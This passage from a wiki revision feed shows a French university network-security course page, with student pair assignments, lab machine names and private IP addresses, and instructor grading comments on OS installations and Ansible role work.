| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par ReX, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le &amp;lt;code&amp;gt;map&amp;lt;/code&amp;gt; pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| || aigle.lol|| NAS07|| 172.26.145.37|| Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil|| || chevreuil.lol|| || 172.26.145.31|| Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| || belette.lol|| || 172.26.145.31|| Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| || truite.fun|| NAS03|| 172.26.145.33|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| || esturgeon.fun|| NAS03|| 172.26.145.33|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| || palourde.fun|| NAS04|| 172.26.145.34|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| || bigorneau.fun|| NAS04|| 172.26.145.34||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| || munchkin.site|| NAS05|| 172.26.145.35|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| || ecureuil.lol|| NAS06|| 172.26.145.36|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| || siamois.site|| NAS05|| 172.26.145.35|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| || lynx.lol|| NAS06|| 172.26.145.36|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| || nyala.website|| NAS07|| 172.26.145.37|| Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| zabeth15|| || axolotl|| NAS08|| 172.26.145.38|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| || caribou.lol|| NAS09|| 172.26.145.39|| Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| ornithorynque|| || ornithorynque.lol|| NAS09|| 172.26.145.39||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| zabeth18|| || singe || NAS10|| 172.26.145.40|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| zabeth19|| || loutre|| NAS10|| 172.26.145.40|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| zabeth20|| || fennec|| NAS11|| 172.26.145.41|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| IPv4 ? Pas IPv6 ?|| castor-canard.lol|| NAS11|| 172.26.145.41|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5043</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5043"/>
		<updated>2024-01-31T15:05:07Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots !! Commentaire sur l'installation !! Commentaire sur la tâche supplémentaire&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET ||NAS03||Installation des disques&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b2 || Romain DUHR &amp;amp; Amaury BECQUET || || Câblage anciennes stations &lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09||Premiers rôles Ansible&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b7 || EL HASNAOUI BILAL &amp;amp; CHAOUNI AYOUB || NAS07||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b8 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5035</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5035"/>
		<updated>2024-01-31T14:53:33Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots !! Commentaire sur l'installation !! Commentaire sur la tâche supplémentaire&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || ||Installation des disques&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b2 || Romain DUHR &amp;amp; Amaury BECQUET || || Câblage anciennes stations &lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b5 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b8 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Prénom Nom &amp;amp; Prénom Nom || ||&lt;br /&gt;
| ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
</feed>